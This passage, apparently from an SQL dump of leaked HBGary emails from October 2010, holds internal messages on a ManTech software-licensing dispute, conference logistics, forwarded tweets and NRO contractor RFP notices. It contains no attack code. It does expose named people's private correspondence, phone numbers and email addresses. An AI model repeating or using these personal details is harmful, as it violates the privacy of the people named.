heard from me in two weeks, please ping me again.&nbsp; I certainly don’t mean to get side-tracked, but I wear about six different hats&nbsp;J&nbsp;Thanks,Dave&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:26 PMTo:&nbsp;Savage, David RSubject:&nbsp;RE: Voice Message from MARYLAND (93016528885)&nbsp;David,&nbsp;Wanted to tell you that the software mods you wanted have been completed and are now in testing.&nbsp; Also, we had discussed that you intend to deploy your MDA software with HBGary’s DDNA agent into the ManTech SOC after the New Year.&nbsp; Is that still the plan?&nbsp; We had discussed that the ManTech SOC would be purchasing the HBGary software as part of that deployment.&nbsp; Is that plan still active?&nbsp; Does the SOC have its budget identified for that purchase?&nbsp;This email is chock full of questions, isn’t it?&nbsp;&nbsp;J&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Savage, David R [mailto:David.Savage@ManTech.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:29 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;FW: Voice Message from MARYLAND (93016528885)&nbsp;Bob –&nbsp;I received your voicemail.&nbsp; I do not have easy access to a phone this week.&nbsp; Is there anything we can address via email ?&nbsp;Thanks,Dave&nbsp;From:&nbsp;Unity Messaging System - CHN-UNITY-1&nbsp;Sent:&nbsp;Monday, October 04, 2010 1:55 PMTo:&nbsp;Savage, David RSubject:&nbsp;Voice Message from MARYLAND (93016528885)&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',16784,'aaron_hbgary_com/16784.html'),(12638,'2010-10-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009332.M629101P14101Q7493.eml','aaron@hbgary.com','i know the perfect investor',' \r\nCan you get us a meeting with Martin Scorsese?\r\n \r\n-G\r\n',3322,'aaron_hbgary_com/3322.html'),(12639,'2010-10-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009332.M907094P14101Q7494.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','Journalists must really be bad','cuz i can&#39;t find a video one on youtube about moonlight maze\r\n \r\n-G\r\n',5955,'aaron_hbgary_com/5955.html'),(12640,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009333.M133085P14101Q7495.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Partner Booth Information','Great thanks.  I just need the basics: marketing material, table cloth, business card stands, that pull up signage the small one not the huge oneThat should do it.\r\nAaron Sent from my iPadOn Oct 4, 2010, at 12:40 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nSure let Deeann know wht you need\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 7:32 PM\r\nTo: DeeAnn Buonaccorsi\r\nCc: Penny Leavy\r\nSubject: Fwd: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nCan I get a bit of the booth material for this conference?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Dan Woods &lt;dwoods@palantir.com&gt;\r\nTo: Dan Woods &lt;dwoods@palantir.com&gt;\r\nSubject: Partner Booth Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGovCon6 Partner Booth\r\nPresenters:\r\n\r\nEnclosed you will find the GovCon6 Partner Booth Guide, which should answer all\r\nyour logistical questions about the upcoming conference.  You can write me\r\nwith any questions.\r\n\r\nSee you soon!\r\n\r\n-Dan\r\n\r\n\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com&lt;mailto:dwoods@palantir.com&gt; |\r\n650.248.1909\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6230,'aaron_hbgary_com/6230.html'),(12641,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009333.M387008P14101Q7496.eml','\"Aaron Barr\" <adbarr@mac.com>','@FSecure, 10/5/10 5:16 AM','F-Secure (@FSecure)\r\n10/5/10 5:16 AM6 Things You Should Never Share on Facebook or Twitter  http://su.pr/9t4Hr9\r\nSent from my iPad\r\n',16171,'aaron_hbgary_com/16171.html'),(12642,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009333.M634088P14101Q7497.eml','\"Aaron Barr\" <adbarr@mac.com>','@HostExploit, 10/5/10 4:29 AM','Jart Armin (@HostExploit)\r\n10/5/10 4:29 AMHostExploit New Report Q3 2010 Top 50 Bad Hosts and Networks see most improved and worst performing  - http://henew.com/aafvn #cybercrime\r\nSent from my iPad\r\n',6694,'aaron_hbgary_com/6694.html'),(12643,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009333.M875291P14101Q7498.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Comcast Warns Customers Suspected of Bot Infection','Maybe a market for EGS data is ISPs?Comcast Warns Customers Suspected of Bot Infection\r\neldavojohn writes &quot;Comcast is pushing a new program nationwide that warns customers if they might have a bot infection. It puts a semitransparent overlay on the top of the website you&#39;re viewing, warning you that you may have a bot installed if the provider detects botnet traffic from your residence. Of course, if you have multiple machines running behind a router or modem then you&#39;re going to have a difficult time pinning down which machine might have the infection.&quot;\r\n \r\nRead more of this story at Slashdot.\r\n\r\nSent from my iPad\r\n',3185,'aaron_hbgary_com/3185.html'),(12644,'2010-10-05','arc@westfields.net','/aaron@hbgary.com/new/1297009334.M299676P14101Q7500.eml','federal@hbgary.com','SE / Graystone Final RFP document Posting','\r\nA Final Request For Proposal (RFP) has been posted or updated on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',6775,'aaron_hbgary_com/6775.html'),(12645,'2010-10-05','arc@westfields.net','/aaron@hbgary.com/new/1297009334.M505908P14101Q7501.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Monday, 10/04/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/MOD-Silver Eagle (Document Posting)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',8550,'aaron_hbgary_com/8550.html'),(12646,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009334.M776015P14101Q7502.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: ManTech','OK I will ask Eric some questions.A thought though. &nbsp;Is it possible to see how far he will take this. &nbsp;They manage 5 current SOCs. &nbsp;What if they allow us to place 5 qualified candidates in existing SOCs and within the strategic partnership guarantee they will sell DDNA within their MDA solution. &nbsp;Remember they do $30-40M in IR work according to Eric.Giving away free software is like putting a person on a services contract free of charge. &nbsp;It is just not good business. &nbsp;But if they can push the cost somewhere else and allow us to put people on contract and then we can figure out how to get some of that money to HBGary from the services side to pay for the licenses in the SOC.?AaronOn Oct 5, 2010, at 7:24 AM, Bob Slapnik wrote:Aaron,&nbsp;I will speak with David and learn more about his motives.&nbsp; I just wanted to make sure that you, Penny and I were all on the same page.&nbsp; It would be helpful if you tell Eric that deployment of HBGary software into production always happens with revenue, and ManTech won’t be an exception.&nbsp;In reading the tea leaves of David’s email, it sounds like he is holding out the carrot of future services revenue to HBG Fed, but aren’t you expecting that revenue anyhow?&nbsp; Please have a frank conversation with Eric and ask him if future partnering is contingent on our cutting them a sweetheart deal.&nbsp; We have no plans to grant the sweetheart deal, but we need to ask the hard questions to flush out what Eric is thinking.&nbsp; Also ask who is putting these thoughts into David’s head?&nbsp; Who within ManTech might be influencing him?&nbsp; David stated, “I’ve had discussions with my Executive Leadership toward that end”.&nbsp; Who?&nbsp; I will ask too.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 10:54 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Bob Slapnik\'Subject:&nbsp;Re: ManTech&nbsp;I am on board. &nbsp;You can\'t ask a small company to give away software for free in hopes of future engagements. &nbsp;One thing to be clear on is big companies don\'t speak with one voice, they have many. &nbsp;The guy your working with fits somewhere in the food chain below Eric (who I am meeting with tomorrow). &nbsp;And often external and internal efforts are separated financially and functionally.&nbsp;What I am not clear on is why the change in plans? &nbsp;If I understand the circumstances clearly I may be able to help.&nbsp;Aaron&nbsp;&nbsp;On Oct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:Nope we can’t do this for free, it’s a business just like they have a business and we need to make money.&nbsp; WE aren’t using their software for free and quite frankly we’ve done MORE than we said we would because of this “strategic” relationship.&nbsp;&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:35 PMTo:&nbsp;\'Penny Leavy-Hoglund\'; \'Aaron Barr\'Subject:&nbsp;ManTech&nbsp;Penny and Aaron,&nbsp;Please see the email chain below.&nbsp; I wanted to have some internal dialogue before I speak with David.&nbsp;The attached powerpoint was David’s proposition to HBGary that they purchase DDNA during the development of their MDA system then deploy it to the ManTech SOC after the New Year.&nbsp; We ended up charging them $30,625 during the development phase with the plan that they would apply that amount toward the purchase by the SOC.&nbsp;In his email below he is “pitching” that we provide our software to the ManTech SOC for free in exchange for workshare on contracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp;&nbsp; Personally, I don’t like the idea.&nbsp; In my entire business career I’ve never experienced a good outcome for “future revenue” schemes.&nbsp;&nbsp;One reason we cooperated during their development phase was because we had a promise that the SOC would buy.&nbsp; Now, David is proposing to change the deal.&nbsp; We had a deal in concept worked out for the development phase, a discounted reseller price for the SOC, and reseller pricing for when they use our software on their services engagements.&nbsp; I view his latest “offer” to be reneging on a handshake agreement.&nbsp;I want the three us (Penny, Aaron and me) to be in agreement as to how we approach ManTech.&nbsp; I am not inclined to drop my drawers, but I am willing to bend if ManTech shows could faith with a reasonable amount of money upfront.&nbsp; Perhaps if they buy a license for the SOC we could provide them an extra reseller discount on some future transactions to RECOVER THEIR COSTS over time.&nbsp; I want them to take the financial risk, not us.&nbsp;Bob&nbsp;From:&nbsp;Savage, David R [mailto:David.Savage@ManTech.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 8:19 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;RE: Voice Message from MARYLAND (93016528885)&nbsp;All good questions&nbsp;J&nbsp;Thanks for the update on the mods, that is good news!&nbsp; In terms of testing, are we still approx 2 weeks out from obtaining the mods?&nbsp;As you know we have purchased a 500 node license for $32K+ that were are using for testing and integration, with the intent the annual clock for the licensing would start at the beginning of 2011 when we actually deploy MDA to the ManTech SOC.&nbsp; The current plan is that the ManTech SOC would acquire additional DDNA licenses (up to 2,500 additional licenses, bringing the total to 3,000 with the 500 we’ve already purchased).&nbsp;I’ve been holding off on finalizing anything with the SOC, as I wanted to address the possibility of a strategic business relationship with you (HBGary), wherein ManTech would be able to leverage DDNA free of cost internally in exchange for workshare on contracts and ManTech reselling DDNA licenses to customers via MDA.&nbsp; I’ve had discussions with my Executive Leadership toward that end, and I need to follow up on with my leadership again so we can move toward some sort of solution.&nbsp;At any rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my court now to identify the use-strategy for DDNA at the ManTech SOC, and I will get back to you.&nbsp; If for some reason you haven’t heard from me in two weeks, please ping me again.&nbsp; I certainly don’t mean to get side-tracked, but I wear about six different hats&nbsp;J&nbsp;Thanks,Dave&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:26 PMTo:&nbsp;Savage, David RSubject:&nbsp;RE: Voice Message from MARYLAND (93016528885)&nbsp;David,&nbsp;Wanted to tell you that the software mods you wanted have been completed and are now in testing.&nbsp; Also, we had discussed that you intend to deploy your MDA software with HBGary’s DDNA agent into the ManTech SOC after the New Year.&nbsp; Is that still the plan?&nbsp; We had discussed that the ManTech SOC would be purchasing the HBGary software as part of that deployment.&nbsp; Is that plan still active?&nbsp; Does the SOC have its budget identified for that purchase?&nbsp;This email is chock full of questions, isn’t it?&nbsp;&nbsp;J&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Savage, David R [mailto:David.Savage@ManTech.com]&nbsp;Sent:&nbsp;Monday, October 04, 2010 6:29 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;FW: Voice Message from MARYLAND (93016528885)&nbsp;Bob –&nbsp;I received your voicemail.&nbsp; I do not have easy access to a phone this week.&nbsp; Is there anything we can address via email ?&nbsp;Thanks,Dave&nbsp;From:&nbsp;Unity Messaging System - CHN-UNITY-1&nbsp;Sent:&nbsp;Monday, October 04, 2010 1:55 PMTo:&nbsp;Savage, David RSubject:&nbsp;Voice Message from MARYLAND (93016528885)&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal, LLC719.510.8478&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',8262,'aaron_hbgary_com/8262.html'),(12647,'2010-10-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009334.M99275P14101Q7499.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','RE: 